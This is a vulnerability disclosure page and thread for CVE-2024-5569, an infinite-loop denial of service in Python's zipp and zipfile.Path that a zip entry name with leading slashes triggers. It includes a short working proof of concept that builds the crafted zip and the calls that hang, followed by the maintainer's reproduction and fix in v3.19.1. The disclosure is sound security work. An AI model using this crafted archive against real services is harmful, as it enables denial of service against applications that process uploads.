Denial of Service (infinite loop) via crafted zip file in jaraco/zipp

Valid Reported on Apr 10th 2024

I have found a security vulnerability specifically denial of service (infinite loop) in the zipp as well as zipfile module of cpython. It was mentioned in the GitHub readme that

> New features are introduced in this third-party library and later merged into CPython.

Also, the code is exactly same, so reporting here.

Consider a zip file generated as:

```
with zipfile.ZipFile("exploit.zip", "w") as zf:
    zf.writestr("file.txt", "This is a file")
    zf.writestr("\/test/file2.txt", "This file is in a directory")
```

Zip has the following structure as read by `zf.printdir()` output

```
File Name                                             Modified             Size
file.txt                                       2024-04-10 10:48:04           14
//test/file2.txt                               2024-04-10 10:48:04           45
```

Later, we can load the file with `zipp.Path`. Note that this also affects CPython's zipfile so `zipfile.Path` also works.

```
import zipp
zf = zipp.Path("example.zip")
```

This zip file we produced leads to infinite loop if processed using any of the following functions affecting `Path` module from both zipp and zipfile (cpython). You can try any of the following functions:

```
zf.joinpath("file2.txt")
```

```
zf = zf / "test"
```

```
list(zf.iterdir())
```

```
list(zf.iterdir())
```

Impact

Denial of Service: The vulnerability leads to an infinite loop which is not very resource exhaustive but causes a long time (never) to respond.

If there wasn't this commit, it would have lead to resource exhaustion as well.

I am suspecting the vulenrability is coming from `joinpath` method but not really sure.

References

- CWE-835: Loop with Unreachable Exit Condition ('Infinite Loop')

We are processing your report and will contact the **jaraco/zipp** team within 24 hours. 2 years ago

huntr-helper modified the Severity from High (8.6) to Medium (6.2) 2 years ago

0xcrypto commented 2 years ago — Researcher

I disagree with the CVSS changes. The attack vector can be exploited over a network ie. by uploading a zip file to a web application that uses ZipFile or zipp for processing the file.

We were unable to make contact with the **jaraco/zipp** team automatically, our community manager will try to reach out to them instead. 2 years ago

The researcher has received a minor penalty to their credibility for miscalculating the severity: -1

0xcrypto has closed this report. 2 years ago

No response from the maintainer. The issue is also minor.

The disclosure bounty has been dropped ×

The fix bounty has been dropped ×

The researcher's credibility has not been affected

Jason R. Coombs commented 2 years ago — Maintainer

I missed this report. I searched my email for "infinite loop" and I have no record of it, so it might have gotten directed to a spam folder. A better way to reach me and this project is

to either file a bug with the project (even if all it does is link to the undisclosed vulnerability) or follow the instructions in the SECURITY.md. This problem seems worth fixing.

A **jaraco/zipp** maintainer has acknowledged this report 2 years ago

0xcrypto commented 2 years ago — Researcher

Thanks for acknowledgement. I tried contacting the python team as well but got no response from them. Anyways I think this report can still be reopened. I will ask support.

A huntr admin reset this report to a pending state. 2 years ago

Sabrina Midturi set the scheduled publication date to Jul 9th 2024 UTC 2 years ago

Jason R. Coombs commented 2 years ago — Maintainer

I tried recreating the exploit using the example, but it results in a SyntaxWarning:

```
SyntaxWarning: invalid escape sequence '\/'
```

Changing it to `zf.writestr("\\/test/file2.txt", "This file is in a directory")` alleviates the warning and produces the same outcome.

Jason R. Coombs commented 2 years ago — Maintainer

Using that example with the backslash, I'm unable to replicate the reported behavior. For example:

```
 zipp main @ cat dos.py
import zipp
import zipfile


with zipfile.ZipFile("exploit.zip", "w") as zf:
    zf.writestr("file.txt", "This is a file")
    zf.writestr("\\/test/file2.txt", "This file is in a directory")


zf.printdir()


print(list(zipp.Path(zf).iterdir()))
 zipp main @ py -m dos
File Name                                             Modified             Size
file.txt                                       2024-05-31 10:36:26           14
\/test/file2.txt                               2024-05-31 10:36:26           27
[Path('exploit.zip', 'file.txt'), Path('exploit.zip', '\\/')]
```

As you can see, the iterdir doesn't encounter an infinite loop.

Jason R. Coombs commented 2 years ago — Maintainer

Replacing the backslash with a slash does, however, replicate the infinite loop.

Jason R. Coombs commented 2 years ago — Maintainer

More testing confirms the issue only occurs if the double slash appears at the beginning of the path. It also happens if there are additional leading slashes.

When I use the unzip utility to unzip the exploit, I see a warning:

```
 @ unzip exploit.zip
Archive:  exploit.zip
 extracting: file.txt
warning:  stripped absolute path spec from //test/file2.txt
 extracting: test/file2.txt
```

That gives an indication of how Path could handle the situation.

Jason R. Coombs commented 2 years ago — Maintainer

Interestingly, using Python's own zipfile module to extract the contents of the exploit zip silently ignores the leading slashes. There are no warnings emitted.

```
 @ py -m zipfile -e exploit.zip . && echo done
done
```

Jason R. Coombs commented 2 years ago — Maintainer

CPython avoids the leading slashes during extraction with this logic. Unfortunately, there are two problems that would limit its re-use for zipp.Path. First, that logic is embedded in the extraction, so it can't be re-used elsewhere. Second, it happens *after* the name is transformed to a local path for extraction.

Jason R. Coombs commented 2 years ago — Maintainer

In https://github.com/jaraco/zipp/issues/119, I've captured the issue and in https://github.com/jaraco/zipp/issues/120, I've implemented a fix with tests and released it as v3.19.1.

The researcher has received a minor penalty to their credibility for miscalculating the severity: -1

Jason R. Coombs validated this vulnerability 2 years ago

0xcrypto has been awarded the disclosure bounty ✓

The fix bounty is now up for grabs

The researcher's credibility has increased: +7

CVE-2024-5569 assigned to this report. 2 years ago

Jason R. Coombs marked this as fixed in **3.19.1** with commit **fd604b** 2 years ago

Jason R. Coombs has been awarded the fix bounty ✓

Jason R. Coombs gave praise 2 years ago

> Thanks for a meaningful and actionable report.

The researcher's credibility has slightly increased as a result of the maintainer's thanks: +1

0xcrypto commented 2 years ago — Researcher

> Thanks for validation. Would love to find more vulnerabilities.

We have sent a warning to the **jaraco/zipp** team to inform them that this report will be published in 48 hours 2 years ago

This vulnerability has now been published 2 years ago

CVE-2024-5569 has now been published 2 years ago

CVE
CVE-2024-5569
Published

Vulnerability Type
CWE-835: Infinite Loop

Severity
Medium (6.2)

Attack vector	Local
Attack complexity	Low
Privileges required	None
User interaction	None
Scope	Unchanged
Confidentiality	None
Integrity	None
Availability	High

Open in visual CVSS calculator

Registry
Pypi

Affected Version
All

Visibility
Public

Status
Fixed

Disclosure Bounty
$125

Fix Bounty
$31.25

Found by

0xcrypto
@0xcrypto
MIDDLEWEIGHT

Fixed by

Jason R. Coombs
@jaraco
UNPROVEN